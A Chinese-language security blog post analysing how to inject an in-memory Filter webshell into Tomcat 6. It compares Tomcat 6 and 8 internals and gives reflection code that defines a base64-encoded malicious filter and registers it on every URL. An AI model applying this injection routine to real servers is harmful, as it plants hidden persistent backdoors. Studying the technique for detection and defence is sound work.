Java安全之Tomcat6 Filter內(nèi)存馬問題
回顧Tomcat8打法
先回顧下之前Tomcat789的打法
這里先拋開 7 8之間的區(qū)別, 在8中,最后add到filterchain的都是一個filterconfig對象
ApplicationFilterConfig
包含了FilterDef
對象
構造方法如下,如果當前filter屬性為null會從FilterDef
取filter的實例對象
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException { this.context = context; this.filterDef = filterDef; if (filterDef.getFilter() == null) { this.getFilter(); } else { this.filter = filterDef.getFilter(); this.getInstanceManager().newInstance(this.filter); this.initFilter(); } }
FilterDef
中存儲了filterClass
/ filterName
/ filter
屬性
public class FilterDef implements Serializable { private static final long serialVersionUID = 1L; private static final StringManager sm; private String description = null; private String displayName = null; private transient Filter filter = null; private String filterClass = null; private String filterName = null; private String largeIcon = null; private final Map<String, String> parameters = new HashMap(); private String smallIcon = null; private String asyncSupported = null; public FilterDef() { }
再有就是createFilterChain
中還涉及到filterMap
FilterMap
里主要存放urlpatterner和filterName的映射
public class FilterMap extends XmlEncodingBase implements Serializable { private static final long serialVersionUID = 1L; public static final int ERROR = 1; public static final int FORWARD = 2; public static final int INCLUDE = 4; public static final int REQUEST = 8; public static final int ASYNC = 16; private static final int NOT_SET = 0; private int dispatcherMapping = 0; private String filterName = null; private String[] servletNames = new String[0]; private boolean matchAllUrlPatterns = false; private boolean matchAllServletNames = false; private String[] urlPatterns = new String[0];
tomcat8下注入filter內(nèi)存馬流程如下:
- FilterDef: 設置
setFilter(Filter filter)
setFilterName(String filterName)
setFilterClass(String filterClass)
這里filterName和filterClass應該不是一個東西,最后調(diào)用StandardContext#addFilterDef
將該惡意filterdef put到this.filterDefs
- FilterMap:
addURLPattern("/*")
setFilterName(String filterName)
setDispatcher(DispatcherType.REQUEST.name())
,最后調(diào)用StandardContext#addFilterMapBefore(filtermap)
添加到this.filterMaps
中 - ApplicationFilterConfig: 調(diào)用有參構造將
FilterDef
作為參數(shù)傳遞進去后調(diào)有參構造實例化一個ApplicationFilterConfig
,最終put進standardcontext的屬性里去。
探索Tomcat6與Tomcat8之間的區(qū)別
主要看下tomcat6和tomcat8之間createFilterChain
不相同的地方 看到ApplicationFilterFactory#createFilterChain
跟進getFilter
主要代碼如下:
所以這里構造filterDef
的時候filterClass
為evilfilter的全類名即可
再來看下FilterDef
可以發(fā)現(xiàn)確實在Tomcat6下面沒有filter
這個屬性了
所以一個很大的區(qū)別就是在getFilter
方法,也就是獲取filter
實例對象的邏輯:
Tomcat8中是通過filterDef
的屬性filter
值來拿到 惡意filter實例
Tomcat6中是通過filterDef
的屬性filterClass
屬性作為類名,通過ClassLoader去實例化
這里當我們調(diào)用有參構造實例化ApplicationFilterConfig
時,會進入getFilter
方法邏輯內(nèi)
重點看loadClass方法是否可以加載到我們的惡意filter,因為這個filter并不是真實存在,且我們也只是通過了當前線程去defineClass的
跟進WebappClassLoader#loadClass
看到this.findLoadedClass0(name)
從resourceEntries也就是classes下各個包中的.class找,是否有這個類,有的話直接return 這個entry的loadClass屬性
這個屬性存儲的是該類的class對象,如果這里面有該類名,后面就直接resovleClass了
這里肯定是沒有我們的惡意filter,繼續(xù)往下跟
后面直接調(diào)用java.lang.ClassLoader#findLoadedClass
來通過ClassLoader去找是否已經(jīng)加載過該class了
而在這里是直接找到了
查閱開發(fā)資料并思考了一下:
這里因為我們之前是通過當前線程上下文加載器把惡意filter給loadClass
了,所以這里就是可以找到的
后面隨手翻了下classloader
的屬性,發(fā)現(xiàn)在classes
屬性是存在該filter的class的
那么正好來debug一下當前線程上下文ClassLoader#loadClass
的過程
可以看到當前上下文的ClassLoader就是WebappClassLoader
,并且此時classes
屬性里并沒有我們的惡意類
而當步過defineClass后,當前線程上下文ClassLoader也就是WebappClassLoader
的classes
屬性中就新增了我們的惡意filter的class
所以后續(xù)在getFilter
的邏輯中也是可以成功通過
回溯上面的邏輯時,getFilter
方法因為會走到這個else邏輯內(nèi),所以最終也是通過WebappClassLoader#loadClass
的我們的惡意filter
以上,所以因為我們前面調(diào)用的是Thread.currentThread().getContextClassLoader()
去加載的我們惡意filter類,而tomcat6中getFilter
邏輯是通過this.context.getLoader().getClassLoader();
去findClass,而這兩個ClassLoader又同為WebappClassLoader
所以不會存在ClassNotfound
的問題。 所以tomcat6中注入filter內(nèi)存馬就不需要先實例化惡意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()
去defineClass
一下惡意filter即可。
注入內(nèi)存馬的主要代碼如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); var1.setAccessible(true); byte[] var2 = base64decode("base64 str"); var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length); try { if (STANDARDCONTET != null) { // 1 反射獲取filterDef Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{}); Object filterDef = FilterDefconstructor.newInstance(); // 2 設置filtername Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class); setFilterNameMethod.invoke(filterDef,filterName); // 3 setFilterClass Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class); setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName()); // 4 addFilterDef Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass); addFilterDef.invoke(STANDARDCONTET,filterDef); // 構造FilterMap Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); Object filterMap = FilterMapClass.newInstance(); Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class); setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef)); Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class); setDispatcherMethod.invoke(filterMap,"REQUEST"); Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class); addURLPatternMethod.invoke(filterMap,"/*"); Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass); addFilterMapMethod.invoke(STANDARDCONTET,filterMap); // 創(chuàng)建filterconfig 并添加到standardcontext.filterconfigs數(shù)組里 Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")); filterConfigCon.setAccessible(true); // 實例化ApplicationFilterConfig時觸發(fā)getFilter方法 Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef); Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET); filterConfigsMap.put(filterName, filterConfigObj); } } catch (Throwable var16) { var16.printStackTrace(); }
到此這篇關于Java安全之Tomcat6 Filter內(nèi)存馬的文章就介紹到這了,更多相關java tomcat6 filter內(nèi)存馬內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
詳解Spring DeferredResult異步操作使用場景
本文主要介紹了Spring DeferredResult異步操作使用場景,文中通過示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下2021-10-10Spring Security添加驗證碼的兩種方式小結(jié)
使用spring security的時候,框架會幫我們做賬戶密碼的驗證,但是如我們需要添加一個驗證碼,就需要對配置文件進行修改,這篇文章主要給大家介紹了關于Spring Security添加驗證碼的兩種方式,需要的朋友可以參考下2021-10-10Hadoop集成Spring的使用詳細教程(快速入門大數(shù)據(jù))
這篇文章主要介紹了Hadoop集成Spring的使用詳細教程(快速入門大數(shù)據(jù)),本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2021-01-01SpringCloud實現(xiàn)灰度發(fā)布的方法步驟
本文主要介紹了SpringCloud實現(xiàn)灰度發(fā)布的方法步驟,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2022-05-05java中double強制轉(zhuǎn)換int引發(fā)的OOM問題記錄
這篇文章主要介紹了java中double強制轉(zhuǎn)換int引發(fā)的OOM問題記錄,本文給大家分享問題排查過程,感興趣的朋友跟隨小編一起看看吧2024-10-10